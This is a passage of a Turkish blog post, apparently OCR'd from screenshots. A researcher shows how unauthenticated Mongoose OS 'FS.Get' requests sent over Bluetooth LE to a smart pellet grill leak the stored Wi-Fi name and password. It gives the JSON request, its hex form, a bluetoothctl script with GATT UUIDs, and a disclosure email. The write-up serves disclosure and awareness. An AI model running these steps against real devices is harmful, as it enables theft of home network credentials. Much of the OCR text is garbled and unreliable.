795 2023-03-29 20:57:34.176298 ATT 12 Sent Read Request, Handle: @x@@2e (Unknown)
797 2023-03-29 20:57:34.319599 . ATT 105 Rcvd Read Response, Handle: 0x@02e (Unknown)

Frame 776: 17 bytes on wire (136 bits), 17 bytes captured (136 bits) 0000 02 43 00 Oc 00 08 00 04 00 12 2e 00 32 30 7d 7d C ©.:20}}
Bluetooth 0010 20
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
> Opcode: Write Request (@x12)
Handle: @x@02e (Unknown)

Value: 32307d7d20 Sent the last part of the
command in 5 bytes.

693 2023-03-29 20:57:32.608808 ||
695 2023-03-29 20:57:32.614125

2023-03-29 20:57:32.878727

2023-03-29 20:57:32.884968 ]

2023-03-29 20:57:33.058503 -

2023-03-29 20:57:33.064478

2023-03-29 20:57:33.418322

2023-03-29 20:57:33.421552

2023-03-29 20:57:33.688494

< vvvyvy

® E  Vvale (btattvalue), 5 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default

Izgaradan gelen yanitta (READ RESPONSE) yer alan {“id”:999,"”src”:"”XXX-
XXXXXXX", "result”: {“data”: “Ly9CS1B2MDQyLjQ1ICAgICAgICA=", “left”: 35298}}
Base64 ile kodlanmis veriyi c¢oézdigumde ise //BKPv042.45 karakter dizisi ile
karsilastim.



https://tr.wikipedia.org/wiki/Base64

@ £ btsnoop_hci.log

AD A mElNE REe22E2F 3 Q aQa H
L] ‘ bluetooth.addr == &8& btl2cap.cid == 0x0004

No. | Source | Destination | Protocc| Length | Info
32 Sen

| Time
715 2023-03-29 20:57:32.884968 t Write Request, Handle: 0x002e (Unknown)
730 2023-03-29 20:57:33.058503

Rcvd Write Response, Handle: 0x002e (Unknown)
2023-03-29 20:57:33.064478 Sent Write Request, Handle: 0x002e (Unknowi
2023-03-29 20:57:33. . - . Rcvd Write Response, Handle: 0x@02e (Unknown)

2023-03-29 20:57 Sent Write Request, Handle: 0x002e (Unknowi
2023-03-29 20:57 5 Rcvd Write Response, Handle: 0x002e (Unknown)
2023-03-29 20:57:33.691795 . . Sent Write Request, Handle: 0x@02e (Unknown)
2023-03-29 20:57:33.868371 . Rcvd Handle Value Notification, Handle: 0x0030 (
2023-03-29 20:57:33.868977 Rcvd Write Response, Handle: 0x002e (Unknown)
2023-03-29 20:57 . - Sent Read Request, Handle: 0x@02e (Unknown)
2023-03-29 20:57 B . . Rcvd Read Response, Handle: 0x@02e (Unknown)
2023-03-29 20:57:34.326329 Sent Write Request, Handle: @x@02b (Unknown)
2023-03-29 20:57:34.500012 Rcvd Write Response, Handle: 0x002b (Unknown)
801 2023-03-29 20:57:34.560980 - . Sent Write Request, Handle: 0x0033 (Unknowi
805 2023-03-29 20:57:34.768686 Rcvd Write Response, Handle: 0x0033 (Unknown)
806 2023-03-29 20:57:34.775137 Sent Write Request, Handle: 0x002e (Unknowi
808 2023-03-29 20:57:34.948717 10 Rcvd Write Response, Handle: ©x@@2e (Unknown)
809 2023-03-29 20:57:34.955734 . 32 Sent Write Request, Handle: 0x@02e (Unknow
811 2023-03-29 20:57:35.129444 10 Rcvd Write Response, Handle: 0x@@2e (Unknown)
812 2023-03-29 20:57:35.138202 32 Sent Write Request, Handle: 0x002e (Unknown)
R16 7023-A3-20 70:57:35.30RANS | [ | 10 Revd Write Resnnnce. Handle: AxA@2e (linknnwn)
> Frame 797: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) 0000 02 43 20 64 00 60 00 @4 00 6b 7b 22 69 64 22 3a cd* {"id":
> Bluetooth gg%g . . 999,"src ¥ T
esu
> Bluetooth HCI H4 2030 :{"data" : "Ly9CS
> Bluetooth HCI ACL Packet 0040 1B2MDQyL jQ1ICAQI
> Bluetooth L2CAP Protocol 0050 4 ] CAQICA=" , "left"
v Bluetooth Attribute Protocol 0060 3a 20 33 35 32 39 38 7d 7d : 35298} }
> Opcode: Read Response (0x@b)
[Handle: @x@02e (Unknown)]

Value: 7bz™
Base64 encoded
data

® & Vvalue (btattvalue), 95 bytes Packets: 1029 - Displayed: 159 (15.5%) Profile: Default
<« C O & gecha.github.io/CyberChef/#recipe=From_Base64('A-Za-20-S 3D, input=THK5QIMxQ}JNRFFSTGPRMUIDQWAJQOFRSUN.. ¢ ¥ @ B © % & O @
£ Hack 4 Career. Inf... in Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... ES Other Bookmarks
Download CyberChef i Last build: 10 days ago - Version 10 is here! Read about the new features here Options Q About / Support 0
Operations Recipe BB 3§ Input + 0O 8 =

Ly9CS1B2MDQyLjQ1ICAgICAQICA:
Search... From Base64 ¥ yLia 9TCAQICAS
Favourites * Alphabet .

A-Za-z0-9+/=

To Base64

Remove non-alphabet chars D Strict mode
From Base64

To Hex

From Hex

WL ma 28 QWD Tr Raw Bytes < LF
From Hexdump Output B |—D oo
URL Decode //BKPv042.45

Regular expression

Entropy

Fork

Magic

Data format STEP
Auto Bake

L_Fneruntion I Eneadina me 20 = 1 © 2ms  Tr Raw Bytes ¢ LF,

Google arama motorunda mobil uygulamanin kaynak kodunda dikkatimi c¢eken bazi
kelimeleri arattigimda 1zgaranin Mongoose 0S isimli bir isletim sistemine
sahip oldugunu 6grendim.


https://mongoose-os.com/mos.html

GO gle "sys.reboot" "init.js" config.set "config.save" fs.rename X .!, @ Q

Q All &) Images [»] Videos (= News 1] Books : More Tools

About 2 results (0.39 seconds)

It looks like there aren't many great matches for your
search

Try using words that might appear on the page you're looking for. For example, "cake
recipes" instead of "how to make a cake."

Need help? Check out other tips for searching on Google.

Gitter
https://gitter.im » cesanta » mongoose-os 3
cesanta/mongoose-0s

Rename’, "FS.Remove", "FS.Put", "FS.Get", "FS.ListExt", "FS.List", "Config.Save", "Config.Set",
"Config.Get", "Sys.SetDebug", "Sys.GetInfo", "Sys.Reboot’,

Run-time init

. conf@.json - configuration defaults. This is a copy of the generated sys_config_defaults.json .Itis
loaded first and must exist on the file system. All other layers are optional.

. confl.json - conf8.json -these layers are loaded one after another, each successive layer can override
the previous one (provided conf_acl of the previous layer allows it). These layers can be used for vendor

configuration overrides. (
. conf9.json is the user configuration file. Applied last, on top of all other layers. mos config-set and
save_cfg() API function modify conf9.json .

conf0.json conf1.json conf9.json

Daha 6nce bu isletim sistemini gdérmedigim, duymadigim ic¢in web sitesinde yer
alan kullanici kilavuzuna g6z atmaya karar verdim. Yapilandirma sayfasini
ziyaret ettigimde conf ile baslayan json uzantili dosyalar arasinda yer alan
conf9.json dosyasi hemen dikkatimi cekti.

Kullanici ayarlarini icgeren bu dosyada dikkate deger bilgiler olabilecegini
disindigim icin init.js yerine conf9.json dosyasini bluetoothctl araci ile
Bluetooth baglantisi lizerinden okumami saglayacak 88 karakter uzunlugundaki
asagidaki istegi olusturup Bash betigi lizerinden 1zgaraya gonderdigimde
Invalid Offset ile hatasi ile ile karsilastam.

{“1d"”:999, "method”:"FS.Get”,"”params”: {“filename”:"”conf9.json”,”offset”: 0 ,
“len”:20}}


https://mongoose-os.com/docs/mongoose-os/userguide/configuration.md
https://opensource.com/resources/what-bash

~/Desktop
'id™ 2999, "me

1 9C ethod™:"FS
20}
0x20 0x7b ©0x22 0x69 0x64 0x22 ©0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d 0x65 0x74 Ox
68 0x6f 0x64 0x22 0x3a @x22 @x46 @x53 Ox2e Ox47 0x65 0x74 0x22 0x2c 0x22 0x70

0x61 0x72 0x61 0x6d ©0x73 0x22 ©0x3a 0x7b 0x22 0x66 0x69 0x6C 0x65 0x6e 0x61 0
x6d 0x65 @x22 @x3a 0x22 0x63 Ox6f 0x6e 0x66 0x39 Ox2e Ox6a 0x73 @x6f @x6e Ox2
2 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 @0x74 0x22 0x3a 0x20 0x30 0x20 0x2c 0x20
@x22 0@x6Cc 0x65 @x6e 0x22 Ox3a 0x32 0x30 0x7d 0x7d 0x20

P *[root/Desktop/send.sh - Mousepad

File Edit Search View Document Help
B EROEBE x O O Q & n

Warning: you are using the root account. You may harm your system.

1

2 bluetoothctl

3 devices

4 agent on

5 connect e

6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746¢c5f

7 gatt.write "0x00 0x00 0x00 0x55"

8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615f5f5f

9 gatt.write "0x20 0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d
0x65 0x74 0x68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22
0x2c 0x22 0x70 0x61 0x72 0x61 0x6d 0x73 0x22 0x3a Ox7b 0x22 0x66 0x69 0x6¢C
0x65 Ox6e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 Ox2e 0xba
0x73 0x6f 0x6e 0x22 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x20
0x30 0x20 0x2c 0x20 0x22 0x6C 0x65 @x6e 0x22 0x3a 0x32 0x30 0x7d 0x7d 0x20"

10 gatt.read

11 gatt.read

12 EOF|




root@Kali: ~/Desktop
File Edit View Go Capture Analyze Statistics Telephony Wirele

ADA® s BR@ Q ¢« »n«>HEE©ooool
Wouwetootn ]

Source Protocol Length Info

remote () ATT 10 Rcvd Write Response, Handle: ©x0033 (Unknown)
localhost () ATT 101 Sent Write Request, Handle: ©x002e (Unknown)
controller | 8 Rcvd Number of Completed Packets

remote () 14 Rcvd Error Response - Invalid Offset, Handle: 0x
localhost () 12 Sent Read Request, Handle: ©x002e (Unknown)
controller HCI_EVT 8 Rcvd Number of Completed Packets

remote () ATT 10 Rcvd Read Response, Handle: ©x002e (Unknown)
localhost () ATT 16 Sent Write Request, Handle: ©x0033 (Unknown)
controller HCI_EVT 8 Rcvd Number of Completed Packets

remote () 10 Rcvd Write Response, Handle: ©x0033 (Unknown)
localhost () 97 Sent Write Request, Handle: 0x002e (Unknown)
controller | 8 Rcvd Number of Completed Packets

remote () 10 Rcvd Write Response, Handle: ©x002e (Unknown)

localhost () 12 Sent Read Request, Handle: ©x002e (Unknown)

» Frame 144: 14 bytes on wire (112 bits] 02 4a 20 09 00 05 00 04 00 01 12 2e 00 07 J
» Bluetooth
» Bluetooth HCI H4
. 00OO 0100 1010 Connection Hai
PB Flag: Firs
BC Flag: Poin
Data Total Length: 9
Data
~ [Expert Info (Error/Protocol): Frame
[Frame is out of any "connection
[Severity level: Error]
[Group: Protocol]
[Source BD_ADDR: 00:00:00_00:00:00
[Source Device Name: ]

o HnlbnaAcm a1

® E Bluetooth: Protocol Packets: 709 - Displayed: 709 (100.0%) - Dropped: 0 (0.0%)

Biraz arastirma yaptiktan sonra “invalid offset” hatasinin boyuttan kaynakli
tetiklendigini 6grendim. Daha sonra 85 karakter uzunlugundaki init.js istegi
ile yukaridaki 88 karakter uzunlugundaki conf9.json istegini boyut olarak
esitlemeye karar verdim. 3 tane bosluk karakterini (space) sildikten sonra

istek asagidaki sekle birinmis ve 85 karakter uzunlugunda olmus oldu.

{“1d”:999, "method” :”"FS.Get"”,"params”: {“filename”:”"conf9.json”,”offset”:0,"”len
":20%}}

Bu istegi 1zgaraya gonderdikten sonra conf9.json dosyasinin ilk 20
karakterini basariyla okuyabildigimi go6rdim.



€« C O @& gcha.github.io e 6 * @ e » 0O (}’\Update :

& Hack 4 Career. Inf... jn Linkedin Mert SARICA (mer... 1 Inbox - mert.saric... ES Other Bookmarks

Download CyberChef i Last build: 7 days ago - Version 10 is here! Read about the new features here Options a About / Support 0
Operations Recipe BT input + O3 u =

Search... From Base64 QS n .

Favourites * Alphabet
A-Za-z0-9+/=
To Base64

Remove non-alphabet chars [ strict mode
From Base64

To Hex
From Hex

To Hexdump me 137 = 1 Q 137 Tr Raw Bytes ¢ LF

From Hexdump Output a I_D Mm o

URL Decode {
"device": {
Regular expression vidU: ¢ O
T
Entropy "mqtt": {
"server": " .iot.us-ea o
Fork

Magic

Data format

Encrypticni/Encoding =T m DS
nec 100 = 6

L Q 9% @®© 1ms Tr Raw Bytes < LFJ

Opsiyonel parametre olan Offset degerini yavas yavas arttirarak dosyayi
okumaya devam ettigimde ise asagidaki istek sonucunda 1zgaranin kurulumu
asamasinda uygulamaya girmis oldugum kablosuz ag adimi ve parolami elde
edebildigimi go6rdim!

{“1d”:999, "method” :”"FS.Get"”,"params”:{“filename” :”"conf9.json”,”offset”:280,"1
en”:99}}

[ 2 *Jroot/Desktop/send.sh - Mousepad
requests.pcapng
File Edit Search View Document Help _ __ eless Tools Help

D B BE x o n Q& n Executed the n o<« > B oo o f

Warning: you are using the root account. You may harm your system. the bash Scrlpt-

1

2 bluetoothctl

3 devices

4 agent on

5 connect —_—

6 gatt.select-attribute 5f6d4f53-5f52-5043-5f74-785f63746c5f

7 gatt.write "0x00 0x00 0x00 0x55"

8 gatt.select-attribute 5f6d4f53-5f52-5043-5f64-6174615f5f5f HCT ACL .

9 gatt.urite "0x7b 0x22 0x69 0x64 0x22 0x3a 0x39 0x39 0x39 0x2c 0x22 0x6d 0x65 HCT_ACL Received the
0x74 0x68 0x6f 0x64 0x22 0x3a 0x22 0x46 0x53 0x2e 0x47 0x65 0x74 0x22 0x2c HCI_ACL response o #702] [Reassembled i
0x22 0x70 0x61 0x72 0x61 0x6d 0x73 0x22 0x3a 0x7b 0x22 0x66 0x69 @x6C 0x65 HCI_ACL p ; o #702] [Reassembled
0x6e 0x61 0x6d 0x65 0x22 0x3a 0x22 0x63 0x6f 0x6e 0x66 0x39 0x2e 0x6a 0x73 HCI_ACL encoded in o #702] [Reassembled i
0x6f 0x6e 0x22 0x2c 0x22 0x6f 0x66 0x66 0x73 0x65 0x74 0x22 0x3a 0x32 0x38 o

o

a HCI_ACL #702] [Reassembled in
0x30 0x2c 0x22 0x6C 0x65 0x6e 0x22 0x3a 0x39 0x39 0x7d 0x7d HCI_ACL base64. #702] [Reassembled in

19 gatt.readl ATT . Ada. 'le: ©x002e (Unknown)

Protocol Length Info

ATT 10 Revd Write Response, Handle: ©x0033 (Unknown)
ATT 97 Sent Write Request, Handle: ©x002e (Unknown)
HCI_EVT 8 Rcvd Number of Completed Packets

ATT 10 Rcvd Write Response, Handle: 0x002e (Unknown)
ATT 12 Sent Read Request, Handle: 0x002e (Unknown)
HCI_EVT o ) ) o Beted Packets

#709]

#702] [Reassembled

1 Actions Edit View Help 1] 00 c5 00 64 00 6b 7b 22 69 64 22 3a 39 39 39 2¢ 22
m (0)] 10
write /org/bluez/hcio/dev Il Lo v 1)] =
1
itocol): Pac

command in hex for | rent ATT M

Attempting to r /org/ /hcio/ 9]

bluetoothctl to send.

EAgaLteac Prepared the

Attempting /org/bluez/hci0/dev_i

Attempting to read )

Attempting to read / / e /dev_ s e c ar002d ion Signat

Agent registered ilse © 66 74 22 3a 20 37 30 7d 7d
Connection successful 1d Response

]
® ~/Desktop 12€22737263!

Frame (24 bytes)  Reassembled BTHCI ACL (201 bytes)
Packets: 709 - Displayed: 709 (100.0%)




Download CyberChef i Last build: 7 days ago - Version 10 is here! Read about the new features here Options * About / Support 0

Operations Recipe BT input + O3] =

I Wepetn "o won w.
Search... o Q n A%{"id":999,"src": ", "result":{"data":

| _
RO e
Favourites * Alphabet g || , "left": 70}} .

A-Za-z0-9+/= v
To Base64

Remove non-alphabet chars [ strict mode
From Base64

To Hex

From Hex

To Hexdump

- 108 = 1 Censored SSID &
WiFi password

[t Raw Bytes ¢ LF

A0 @

From Hexdump Output

URL Decode +R}6EU556¢q6 - »P2ému«Z3E2F4"

’
Regular expression "wifits {
staty {

Entropy nssid": .._.. i
" weom "
pass": " GG

Fork Fecii @

Magic

Data format

Encryption / Encoding STEP m Auto Bake
e 124 =7 Q 25

Sonug itibariyle yaptigim givenlik arastirmasi sonucunda ortaya c¢ikan bu

@© oms  Tr Raw Bytes ¢« LF

[ Pl

kritik zafiyeti istismar ederek, art niyetli bir kisinin bu marka ve model
bir 1zgaraya 30 ila 300 metre mesafe uzakliktan istek gdndererek dahil oldugu
kablosuz ag adini ve parolasini kolaylikla 6grenebilecegini ortaya koymus
oldum. Isin sasirtici kismi ise bu zafiyetin istismar edebilebilmesi icin
1zgaranin acik konumda (POWER ON) olmadan sadece fise takili olmasi yeterli
oluyordu.

Bu zafiyetin ka¢ haneyi etkiledigini bilemesem de istatistiklere gére
Amerika’da 2021 yili basi itibariyle 100 milyon hanenin 1zgara kullandiginzi,
her G¢ haneden birinin de birden fazla 1zgara kullandigini dikkate
aldigimizda, bu tir akilli 1zgaralarin (IoT) yayginlasmasi ile ciddi giivenlik
risklerini beraberinde getirecegini soyleyebilirim.

Kesfettigim bu ciddi zafiyet sonrasinda akilli 1zgaram ile yollaraimizi
ayirmak yerine kendisini diger IoTler ile birlikte Wi-Fi Misafir Agina
tasiyarak istahimi kacirmasini engelledikten sonra lezzetli yemeklerin
keyfini c¢ikarmaya devam etmeye karar verdim. :)

Her ihtimale karsi uretici bu zafiyeti ortadan kaldirana dek mimkinse akilli
1zgaranizi kullanmadiginiz zamanlarda fise takili birakmamanizi tavsiye

ederim.


https://www.traeger.com/learn/grill-bbq-stats
https://www.kaspersky.com.tr/blog/guest-wifi/5294/

Bir sonraki yazida goriusmek dilegiyle herkese glivenli glinler dilerim.

Not: Izgara Ureticisine 1 Nisan tarihinde zafiyetle ilgili e-posta
gonderdigimi ancak bu zamana kadar yanit alamadigimi da Uzilerek paylasmak
isterim.



Responsible Vulnerability Disclosure for ™ " Pellet Grill ® a8 &

Mert SARICA <mert.sarica@gmail.com> @ Sat,Apr1,11:29AM (3daysago) Yy € :
to support v

Dear Sir or Madam,

My name is Mert, and | am a seasoned cybersecurity professional who conducts cybersecurity research and publishes them on my blog for the benefit and awareness of the
public.

According to various research, oT (internet of things) devices, such as coffee machines, thermostats, smart speakers, smart bulbs, alarm systems, etc., might have

Recently | purchased an Il Il Pellet Grill from Home Depot two weeks ago. (By the way, | love cooking with my grill; it is fantastic!) | noticed that my grill as an loT
has Wi-Fi and Bluetooth features and can be controlled via a mobile app (https:/play.google.com/store/apps/details?id- mmpmmm&hl=en_US&g|=US). After | went through to
installation procedure, | enrolled my grill into my Wi-Fi network.



